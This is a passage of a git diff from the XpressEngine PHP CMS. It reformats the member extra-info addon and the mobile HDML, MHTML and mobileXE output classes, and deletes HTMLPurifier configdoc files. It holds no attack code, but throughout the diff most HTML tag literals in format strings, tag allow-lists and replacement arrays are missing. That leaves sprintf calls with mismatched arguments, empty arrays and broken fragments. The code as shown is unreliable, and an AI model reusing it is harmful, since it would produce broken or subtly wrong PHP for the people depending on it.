Context::getRequestUri(),$image_name_file, strip_tags($nick_name), strip_tags($nick_name)); - if($config->image_mark == 'Y' && $image_mark_file) $nick_name = sprintf('id: %s%s', Context::getRequestUri(),$image_mark_file, strip_tags($nick_name), strip_tags($nick_name), $nick_name); + // check member_config - if($group_image) $nick_name = sprintf('%s%s', $group_image->src, $group_image->title, $group_image->description, $nick_name); + $config = $oMemberModel->getMemberConfig(); + + if($config->image_name == 'Y' && $image_name_file) + { + $nick_name = sprintf('id: %s', Context::getRequestUri(), $image_name_file, strip_tags($nick_name), strip_tags($nick_name)); + } + if($config->image_mark == 'Y' && $image_mark_file) + { + $nick_name = sprintf('id: %s%s', Context::getRequestUri(), $image_mark_file, strip_tags($nick_name), strip_tags($nick_name), $nick_name); + } + + if($group_image) + { + $nick_name = sprintf('%s%s', $group_image->src, $group_image->title, $group_image->description, $nick_name); + } - $orig_text = preg_replace('/'.preg_quote($matches[5],'/').'<\/'.$matches[6].'>$/', '', $matches[0]); - return $orig_text.$nick_name.''; - } -?> + $orig_text = preg_replace('/' . preg_quote($matches[5], '/') . '<\/' . $matches[6] . '>$/', '', $matches[0]); + return $orig_text . $nick_name . ''; +} + +/* End of file member_extra_info.lib.php */ +/* Location: ./addons/member_extra_info/member_extra_info.lib.php */ diff --git a/addons/mobile/classes/hdml.class.php b/addons/mobile/classes/hdml.class.php index fbad40d06..a51eb79bc 100644 --- a/addons/mobile/classes/hdml.class.php +++ b/addons/mobile/classes/hdml.class.php @@ -1,103 +1,124 @@ charset); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + /** + * @brief hdml header output + **/ + function printHeader() + { + header("Content-Type:text/x-hdml; charset=".$this->charset); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); - print ''; - print "\n"; - print $this->hasChilds()?'':''; - print "\n"; + print ''; + print "\n"; + print $this->hasChilds()?'':''; + print "\n"; - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->url, $url->text, "\n"); - } - } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->url, $url->text, "\n"); + } + } - /** - * @brief Output title - **/ - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>%s', $this->title,$titlePageStr,"\n"); - } + /** + * @brief Output title + **/ + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>%s', $this->title,$titlePageStr,"\n"); + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s%s',Context::getLang('cmd_select'), $val['href'], $val['text'], "\n"); - } - } else { - printf('%s
%s', $this->getContent(),"\n"); - } - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + **/ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s%s',Context::getLang('cmd_select'), $val['href'], $val['text'], "\n"); + } + } + else + { + printf('%s
%s', $this->getContent(),"\n"); + } + } - /** - * @brief Button to output - **/ - function printBtn() { - // Menu Types - if($this->hasChilds()) { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s%s', $url->text, $url->url, $url->text, "\n"); - } - // Content Types - } else { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s', $url->text, $url->url, $url->text); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s', $url->text, $url->url, $url->text); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s', $url->text, $url->url, $url->text); - } - } - } + /** + * @brief Button to output + **/ + function printBtn() + { + // Menu Types + if($this->hasChilds()) + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s%s', $url->text, $url->url, $url->text, "\n"); + } + // Content Types + } + else + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s', $url->text, $url->url, $url->text); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s', $url->text, $url->url, $url->text); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s', $url->text, $url->url, $url->text); + } + } + } - /** - * @brief Footer information output - **/ - function printFooter() { - print $this->hasChilds()?'
':'
'; - print "\n"; - print("
"); - } + /** + * @brief Footer information output + **/ + function printFooter() + { + print $this->hasChilds()?'':''; + print "\n"; + print(""); + } +} - } -?> +/* End of file hdml.class.php */ +/* Location: ./addons/mobile/classes/hdml.class.php */ diff --git a/addons/mobile/classes/mhtml.class.php b/addons/mobile/classes/mhtml.class.php index a03ffb20b..8a1074f58 100644 --- a/addons/mobile/classes/mhtml.class.php +++ b/addons/mobile/classes/mhtml.class.php @@ -1,80 +1,98 @@ \n"); + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf("%s%s\n", htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); + } + // Output title + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>
%s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); + } - /** - * @brief hdml header output - **/ - function printHeader() { - print("\n"); - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf("%s%s\n", htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); - } - // Output title - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>
%s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + **/ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s
%s', $val['href'], $this->getNo(), $val['text'], "\n"); + if($val['extra']) printf("
%s\n",str_replace('
','
',$val['extra'])); + } + } + else + { + print(str_replace('
','
',$this->getContent())."\n"); + } + print "

"; + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s
%s', $val['href'], $this->getNo(), $val['text'], "\n"); - if($val['extra']) printf("
%s\n",str_replace('
','
',$val['extra'])); - } - } else { - print(str_replace('
','
',$this->getContent())."\n"); - } - print "

"; - } - - /** - * @brief Button to output - **/ - function printBtn() { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s
%s', $url->url, $url->text, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s
%s', $url->url, $url->text, "\n"); - } - // Select Language - if(!parent::isLangChange()){ - $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); - printf('%s
%s', $url, 'Language : '.Context::getLang('select_lang'), "\n"); - } - else { - printf('%s
%s', Context::get('return_uri'), Context::getLang('lang_return'), "\n"); - } - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->url, $url->text, "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s
%s', $url->text, $url->url, $url->text, "\n"); - } - } - // Footer information output - function printFooter() { - print("\n"); - } - } -?> + /** + * @brief Button to output + **/ + function printBtn() + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s
%s', $url->url, $url->text, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s
%s', $url->url, $url->text, "\n"); + } + // Select Language + if(!parent::isLangChange()) + { + $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); + printf('%s
%s', $url, 'Language : '.Context::getLang('select_lang'), "\n"); + } + else + { + printf('%s
%s', Context::get('return_uri'), Context::getLang('lang_return'), "\n"); + } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->url, $url->text, "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s
%s', $url->text, $url->url, $url->text, "\n"); + } + } + // Footer information output + function printFooter() + { + print("\n"); + } +} +/* End of file mhtml.class.php */ +/* Location: ./addons/mobile/classes/mhtml.class.php */ diff --git a/addons/mobile/classes/mobile.class.php b/addons/mobile/classes/mobile.class.php index bd460da87..2592b4681 100644 --- a/addons/mobile/classes/mobile.class.php +++ b/addons/mobile/classes/mobile.class.php @@ -1,565 +1,632 @@ lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($this->lang) { - $lang_supported = Context::get('lang_supported'); - $this->lang = str_replace(array(''),array('',''),$this->lang); - if(isset($lang_supported[$this->lang])) Context::setLangType($this->lang); - } - Context::loadLang(_XE_PATH_.'addons/mobile/lang'); - - $instance = new wap(); - - $mobilePage = (int)Context::get('mpage'); - if(!$mobilePage) $mobilePage = 1; - - $instance->setMobilePage($mobilePage); - - } - - return $instance; - } - - /** - * @brief constructor - **/ - function mobileXE() { - // Check navigation mode - if(Context::get('nm')) { - $this->navigationMode = 1; - $this->cmid = (int)Context::get('cmid'); - } - - if(Context::get('lcm')) { - $this->languageMode = 1; - $this->lang = Context::get('sel_lang'); - } - } - - /** - * @brief Check navigation mode - * navigationMode settings and modules of information must be menu_srl return to navigation mode = true - **/ - function isNavigationMode() { - return ($this->navigationMode && $this->module_info->menu_srl)?true:false; - } - - /** - * @brief Check langchange mode - * true return should be set languageMode - **/ - function isLangChange() { - if($this->languageMode) return true; - else return false; - } - - /** - * @brief Language settings - * Cookies Since you set your phone to store language-specific file, file creation - **/ - function setLangType() { - $lang_supported = Context::get('lang_supported'); - // Make sure that the language variables and parameters are valid - if($this->lang && isset($lang_supported[$this->lang])) { - $langbuff = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($langbuff) FileHandler::removeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - $langbuff = 'lang.'**/ ?>'; - FileHandler::writeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php',$langbuff); - } - } - - /** - * @brief Information currently requested module settings - **/ - function setModuleInfo(&$module_info) { - if($this->module_info) return; - $this->module_info = $module_info; - } - - /** - * @brief Set the module instance is currently running - **/ - function setModuleInstance(&$oModule) { - if($this->oModule) return; - // Save instance - $this->oModule = $oModule; - // Of the current module if there is a menu by menu - $menu_cache_file = sprintf(_XE_PATH_.'files/cache/menu/%d.php', $this->module_info->menu_srl); - if(!file_exists($menu_cache_file)) return; - - include $menu_cache_file; - // One-dimensional arrangement of menu changes - $this->getListedItems($menu->list, $listed_items, $node_list); - - $this->listed_items = $listed_items; - $this->node_list = $node_list; - $this->menu = $menu->list; - - $k = array_keys($node_list); - $v = array_values($node_list); - $this->index_mid = $k[0]; - // The depth of the current menu, the top button to specify if one or more - $cur_menu_item = $listed_items[$node_list[$this->module_info->mid]]; - if($cur_menu_item['parent_srl']) { - $parent_srl = $cur_menu_item['parent_srl']; - if($parent_srl && $listed_items[$parent_srl]) { - $parent_item = $listed_items[$parent_srl]; - if($parent_item) $this->setUpperUrl(getUrl('','mid',$parent_item['mid']), Context::getLang('cmd_go_upper')); - } - } elseif (!$this->isNavigationMode()) { - $this->setUpperUrl(getUrl('','mid',$this->index_mid,'nm','1','cmid',0), Context::getLang('cmd_view_sitemap')); - } - } - - /** - * @brief Access the browser's header to determine the return type of the browser - * Mobile browser, if not null return - **/ - function getBrowserType() { - if(Context::get('smartphone')) return null; - // Determine the type of browser - $browserAccept = $_SERVER['HTTP_ACCEPT']; - $userAgent = $_SERVER['HTTP_USER_AGENT']; - $wap_sid = $_SERVER['HTTP_X_UP_SUBNO']; - - if(preg_match("/SKT11/i", $userAgent) || preg_match("/skt/i", $browserAccept)) { - Context::set('mobile_skt',1); - return "wml"; - } - elseif(preg_match("/hdml/i", $browserAccept)) return "hdml"; - elseif(preg_match("/CellPhone/i", $userAgent)) return "mhtml"; - return null; - } - - /** - * @brief Specify charset - **/ - function setCharSet($charset = 'UTF-8') { - if(!$charset) $charset = 'UTF-8'; - // SKT supports the euc-kr - if(Context::get('mobile_skt')==1) $charset = 'euc-kr'; - - $this->charset = $charset; - } - - /** - * @brief Limited capacity of mobile devices, specifying a different virtual page - **/ - function setMobilePage($page=1) { - if(!$page) $page = 1; - $this->mobilePage = $page; - } - - /** - * @brief Mokrokhyeong child menu for specifying the data set - **/ - function setChilds($childs) { - // If more than nine the number of menu paging processing itself - $menu_count = count($childs); - if($menu_count>9) { - $startNum = ($this->mobilePage-1)*9; - $idx = 0; - $new_childs = array(); - foreach($childs as $k => $v) { - if($idx >= $startNum && $idx < $startNum+9) { - $new_childs[$k] = $v; - } - $idx ++; - } - $childs = $new_childs; - - $this->totalPage = (int)(($menu_count-1)/9)+1; - // next/prevUrl specify - if($this->mobilePage>1) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); - $this->setPrevUrl($url, $text); - } - - if($this->mobilePage<$this->totalPage) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); - $this->setNextUrl($url, $text); - } - } - $this->childs = $childs; - } - - /** - * @brief Check the menu to be output - **/ - function hasChilds() { - return count($this->childs)?true:0; - } - - /** - * @brief Returns the child menu - **/ - function getChilds() { - return $this->childs; - } - - /** - * @brief Specify title - **/ - function setTitle($title) { - $oModuleController = &getController('module'); - $this->title = $title; - $oModuleController->replaceDefinedLangCode($this->title); - } - - /** - * @brief return title - **/ - function getTitle() { - return $this->title; - } - - /** - * @brief Content Cleanup - * In HTML content, the ability to extract text and links - **/ - function setContent($content) { - $oModuleController = &getController('module'); - $allow_tag_array = array('','
','

','','','','','','','','','',' - - - - - - - - - - - -
'); - // Links/wrap, remove all tags except gangjoman - $content = strip_tags($content, implode($allow_tag_array)); - // Margins tab removed - $content = str_replace("\t", "", $content); - // Repeat two more times the space and remove julnanumeul - $content = preg_replace('/( ){2,}/s', '', $content); - $content = preg_replace("/([\r\n]+)/s", "\r\n", $content); - $content = preg_replace(array("/","
"), array("
","
"), $content); - - while(strpos($content, '

')) { - $content = str_replace('

','
',$content); - } - // If the required size of a deck of mobile content to write down all the dividing pages - $contents = array(); - while($content) { - $tmp = $this->cutStr($content, $this->deckSize, ''); - $contents[] = $tmp; - $content = substr($content, strlen($tmp)); - - //$content = str_replace(array('&','<','>','"','&nbsp;'), array('&','<','>','"',' '), $content); - - foreach($allow_tag_array as $tag) { - if($tag == '
') continue; - $tag_open_pos = strpos($content, str_replace('>','',$tag)); - $tag_close_pos = strpos($content, str_replace('<','totalPage = count($contents); - // next/prevUrl specify - if($this->mobilePage>1) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); - $this->setPrevUrl($url, $text); - } - - if($this->mobilePage<$this->totalPage) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); - $this->setNextUrl($url, $text); - } - - $this->content = $contents[$this->mobilePage-1]; - $oModuleController->replaceDefinedLangCode($this->content); - $content = str_replace(array('$','\''), array('$$','''), $content); - } - - /** - * @brief cutting the number of byte functions - **/ - function cutStr($string, $cut_size) { - return preg_match('/.{'.$cut_size.'}/su', $string, $arr) ? $arr[0] : $string; - } - - /** - * @brief Return content - **/ - function getContent() { - return $this->content; - } - - /** - * @brief Specifies the home url - **/ - function setHomeUrl($url, $text) { - if(!$url) $url = '#'; - $this->homeUrl->url = $url; - $this->homeUrl->text = $text; - } - - /** - * @brief Specify upper url - **/ - function setUpperUrl($url, $text) { - if(!$url) $url = '#'; - $this->upperUrl->url = $url; - $this->upperUrl->text = $text; - } - - /** - * @brief Specify prev url - **/ - function setPrevUrl($url, $text) { - if(!$url) $url = '#'; - $this->prevUrl->url = $url; - $this->prevUrl->text = $text; - } - - /** - * @brief Specify next url - **/ - function setNextUrl($url, $text) { - if(!$url) $url = '#'; - $this->nextUrl->url = $url; - $this->nextUrl->text = $text; - } - - /** - * @brief Next, Previous, Top button assignments other than - **/ - function setEtcBtn($url, $text) { - if(!$url) $url = '#'; - $etc['url'] = $url; - $etc['text'] = htmlspecialchars($text); - $this->etcBtn[] = $etc; - } - - /** - * @brief display - **/ - function display() { - // Home button assignments - $this->setHomeUrl(getUrl(), Context::getLang('cmd_go_home')); - // Specify the title - if(!$this->title) $this->setTitle(Context::getBrowserTitle()); - - ob_start(); - // Output header - $this->printHeader(); - // Output title - $this->printTitle(); - // Information output - $this->printContent(); - // Button output - $this->printBtn(); - // Footer output - $this->printFooter(); - - $content = ob_get_clean(); - // After conversion output - if(strtolower($this->charset) == 'utf-8') print $content; - else print iconv('UTF-8',$this->charset."//TRANSLIT//IGNORE", $content); - - exit(); - } - - /** - * @brief Move page - **/ - function movepage($url) { - header("location:$url"); - exit(); - } - - /** - * @brief And returns a list of serial numbers in - **/ - function getNo() { - $this->no++; - $str = $this->no; - return $str; - } - - /** - * @brief XE is easy to use Menu module is relieved during the function, value - **/ - function getListedItems($menu, &$listed_items, &$node_list) { - if(!count($menu)) return; - foreach($menu as $node_srl => $item) { - if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $item['url'])) { - $mid = $item['mid'] = $item['url']; - $node_list[$mid] = $node_srl; - } else { - $mid = $item['mid'] = null; - } - - $listed_items[$node_srl] = $item; - $this->getListedItems($item['list'], $listed_items, $node_list); - } - } - - /** - * @brief XE navigation output - **/ - function displayNavigationContent() { - $childs = array(); - - if($this->cmid) { - $cur_item = $this->listed_items[$this->cmid]; - $upper_srl = $cur_item['parent_srl'];; - $list = $cur_item['list'];; - $this->setUpperUrl(getUrl('cmid',$upper_srl), Context::getLang('cmd_go_upper')); - if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $cur_item['url'])) { - $obj = null; - $obj['href'] = getUrl('','mid',$cur_item['url']); - $obj['link'] = $obj['text'] = '['.$cur_item['text'].']'; - $childs[] = $obj; - } - - } else { - $list = $this->menu; - $upper_srl = 0; - } - - - if(count($list)) { - foreach($list as $key => $val) { - if(!$val['text']) continue; - $obj = null; - if(!count($val['list'])) { - $obj['href'] = getUrl('','mid',$val['url']); - } else { - $obj['href'] = getUrl('cmid',$val['node_srl']); - } - $obj['link'] = $obj['text'] = $val['text']; - $childs[] = $obj; - } - $this->setChilds($childs); - } - // Output - $this->display(); - } - - /** - * @brief Language Settings menu, the output - **/ - function displayLangSelect() { - $childs = array(); - - $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($this->lang) { - $this->lang = str_replace(array(''),array('',''),$this->lang); - Context::setLangType($this->lang); - } - $lang_supported = Context::get('lang_supported'); - $lang_type = Context::getLangType(); - $obj = null; - $obj['link'] = $obj['text'] = Context::getLang('president_lang').' : '.$lang_supported[$lang_type]; - $obj['href'] = getUrl('sel_lang',$lang_type); - $childs[] = $obj; - - if(is_array($lang_supported)) { - foreach($lang_supported as $key => $val) { - $obj = null; - $obj['link'] = $obj['text'] = $val; - $obj['href'] = getUrl('sel_lang',$key); - $childs[] = $obj; - } - } - - $this->setChilds($childs); - - $this->display(); - } - - /** - * @brief Module to create a class object of the WAP WAP ready - **/ - function displayModuleContent() { - // Create WAP class objects of the selected module - $oModule = &getWap($this->module_info->module); - if(!$oModule || !method_exists($oModule, 'procWAP') ) return; - - $vars = get_object_vars($this->oModule); - if(count($vars)) foreach($vars as $key => $val) $oModule->{$key} = $val; - // Run - $oModule->procWAP($this); - // Output - $this->display(); - } - - /** - * @brief WAP content is available as a separate output if the final results - **/ - function displayContent() { - Context::set('layout','none'); - // Compile a template - $oTemplate = new TemplateHandler(); - $oContext = &Context::getInstance(); - - $content = $oTemplate->compile($this->oModule->getTemplatePath(), $this->oModule->getTemplateFile()); - $this->setContent($content); - // Output - $this->display(); - } - } -?> +/** + * Mobile XE Library Class ver 0.1 + * @author NHN (developers@xpressengine.com) / lang_select : misol + * @brief XE library for WAP tag output + */ +class mobileXE +{ + // Base url + var $homeUrl = NULL; + var $upperUrl = NULL; + var $nextUrl = NULL; + var $prevUrl = NULL; + var $etcBtn = NULL; + // Variable for menu navigation + var $childs = null; + // Basic variable + var $title = NULL; + var $content = NULL; + var $mobilePage = 0; + var $totalPage = 1; + var $charset = 'UTF-8'; + var $no = 0; + // Navigation-related variables + var $menu = null; + var $listed_items = null; + var $node_list = null; + var $index_mid = null; + // Navigation On/Off status value + var $navigationMode = 0; + // XE module information currently requested + var $module_info = null; + // Currently running instance of the module + var $oModule = null; + + // Deck size + var $deckSize = 1024; + // Changing the language setting + var $languageMode = 0; + var $lang = null; + /** + * @brief getInstance + */ + function &getInstance() + { + static $instance = null; + + if(!$instance) + { + + $browserType = mobileXE::getBrowserType(); + if(!$browserType) return; + + $class_file = sprintf('%saddons/mobile/classes/%s.class.php', _XE_PATH_, $browserType); + require_once($class_file); + // Download mobile language settings (cookies, not willing to come up when you click create cache file ...- is initialized ..) + $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($this->lang) + { + $lang_supported = Context::get('lang_supported'); + $this->lang = str_replace(array(''),array('',''),$this->lang); + if(isset($lang_supported[$this->lang])) Context::setLangType($this->lang); + } + Context::loadLang(_XE_PATH_.'addons/mobile/lang'); + + $instance = new wap(); + + $mobilePage = (int)Context::get('mpage'); + if(!$mobilePage) $mobilePage = 1; + + $instance->setMobilePage($mobilePage); + } + return $instance; + } + + /** + * @brief constructor + */ + function mobileXE() + { + // Check navigation mode + if(Context::get('nm')) + { + $this->navigationMode = 1; + $this->cmid = (int)Context::get('cmid'); + } + + if(Context::get('lcm')) + { + $this->languageMode = 1; + $this->lang = Context::get('sel_lang'); + } + } + + /** + * @brief Check navigation mode + * navigationMode settings and modules of information must be menu_srl return to navigation mode = true + */ + function isNavigationMode() + { + return ($this->navigationMode && $this->module_info->menu_srl)?true:false; + } + + /** + * @brief Check langchange mode + * true return should be set languageMode + */ + function isLangChange() + { + if($this->languageMode) return true; + else return false; + } + + /** + * @brief Language settings + * Cookies Since you set your phone to store language-specific file, file creation + */ + function setLangType() + { + $lang_supported = Context::get('lang_supported'); + // Make sure that the language variables and parameters are valid + if($this->lang && isset($lang_supported[$this->lang])) + { + $langbuff = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($langbuff) FileHandler::removeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + $langbuff = 'lang.'**/ ?>'; + FileHandler::writeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php',$langbuff); + } + } + + /** + * @brief Information currently requested module settings + */ + function setModuleInfo(&$module_info) + { + if($this->module_info) return; + $this->module_info = $module_info; + } + + /** + * @brief Set the module instance is currently running + */ + function setModuleInstance(&$oModule) + { + if($this->oModule) return; + // Save instance + $this->oModule = $oModule; + // Of the current module if there is a menu by menu + $menu_cache_file = sprintf(_XE_PATH_.'files/cache/menu/%d.php', $this->module_info->menu_srl); + if(!file_exists($menu_cache_file)) return; + + include $menu_cache_file; + // One-dimensional arrangement of menu changes + $this->getListedItems($menu->list, $listed_items, $node_list); + + $this->listed_items = $listed_items; + $this->node_list = $node_list; + $this->menu = $menu->list; + + $k = array_keys($node_list); + $v = array_values($node_list); + $this->index_mid = $k[0]; + // The depth of the current menu, the top button to specify if one or more + $cur_menu_item = $listed_items[$node_list[$this->module_info->mid]]; + if($cur_menu_item['parent_srl']) + { + $parent_srl = $cur_menu_item['parent_srl']; + if($parent_srl && $listed_items[$parent_srl]) + { + $parent_item = $listed_items[$parent_srl]; + if($parent_item) $this->setUpperUrl(getUrl('','mid',$parent_item['mid']), Context::getLang('cmd_go_upper')); + } + } + elseif (!$this->isNavigationMode()) + { + $this->setUpperUrl(getUrl('','mid',$this->index_mid,'nm','1','cmid',0), Context::getLang('cmd_view_sitemap')); + } + } + + /** + * @brief Access the browser's header to determine the return type of the browser + * Mobile browser, if not null return + */ + function getBrowserType() + { + if(Context::get('smartphone')) return null; + // Determine the type of browser + $browserAccept = $_SERVER['HTTP_ACCEPT']; + $userAgent = $_SERVER['HTTP_USER_AGENT']; + $wap_sid = $_SERVER['HTTP_X_UP_SUBNO']; + + if(preg_match("/SKT11/i", $userAgent) || preg_match("/skt/i", $browserAccept)) + { + Context::set('mobile_skt',1); + return "wml"; + } + elseif(preg_match("/hdml/i", $browserAccept)) return "hdml"; + elseif(preg_match("/CellPhone/i", $userAgent)) return "mhtml"; + return null; + } + + /** + * @brief Specify charset + */ + function setCharSet($charset = 'UTF-8') + { + if(!$charset) $charset = 'UTF-8'; + // SKT supports the euc-kr + if(Context::get('mobile_skt')==1) $charset = 'euc-kr'; + + $this->charset = $charset; + } + + /** + * @brief Limited capacity of mobile devices, specifying a different virtual page + */ + function setMobilePage($page=1) + { + if(!$page) $page = 1; + $this->mobilePage = $page; + } + + /** + * @brief Mokrokhyeong child menu for specifying the data set + */ + function setChilds($childs) + { + // If more than nine the number of menu paging processing itself + $menu_count = count($childs); + if($menu_count>9) + { + $startNum = ($this->mobilePage-1)*9; + $idx = 0; + $new_childs = array(); + foreach($childs as $k => $v) + { + if($idx >= $startNum && $idx < $startNum+9) + { + $new_childs[$k] = $v; + } + $idx ++; + } + $childs = $new_childs; + + $this->totalPage = (int)(($menu_count-1)/9)+1; + // next/prevUrl specify + if($this->mobilePage>1) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); + $this->setPrevUrl($url, $text); + } + + if($this->mobilePage<$this->totalPage) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); + $this->setNextUrl($url, $text); + } + } + $this->childs = $childs; + } + + /** + * @brief Check the menu to be output + */ + function hasChilds() + { + return count($this->childs)?true:0; + } + + /** + * @brief Returns the child menu + */ + function getChilds() + { + return $this->childs; + } + + /** + * @brief Specify title + */ + function setTitle($title) + { + $oModuleController = &getController('module'); + $this->title = $title; + $oModuleController->replaceDefinedLangCode($this->title); + } + + /** + * @brief return title + */ + function getTitle() + { + return $this->title; + } + + /** + * @brief Content Cleanup + * In HTML content, the ability to extract text and links + */ + function setContent($content) + { + $oModuleController = &getController('module'); + $allow_tag_array = array('
','
','

','','','','','','','','','',' - - - - - -
- -
-
- -
- - - - - - - - -
  • - on lines - - - , - - -
  • -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  • -
    - - - - diff --git a/classes/security/htmlpurifier/configdoc/types.xml b/classes/security/htmlpurifier/configdoc/types.xml deleted file mode 100644 index ee2c945a1..000000000 --- a/classes/security/htmlpurifier/configdoc/types.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - -
    - A series of case-insensitive characters. Internally, upper-case - ASCII characters will be converted to lower-case. -
    -
    - A series of characters that may contain newlines. Text tends to - indicate human-oriented text, as opposed to a machine format. -
    -
    - A series of case-insensitive characters that may contain newlines. -
    -
    - An - integer. You are alternatively permitted to pass a string of - digits instead, which will be cast to an integer using - (int). -
    -
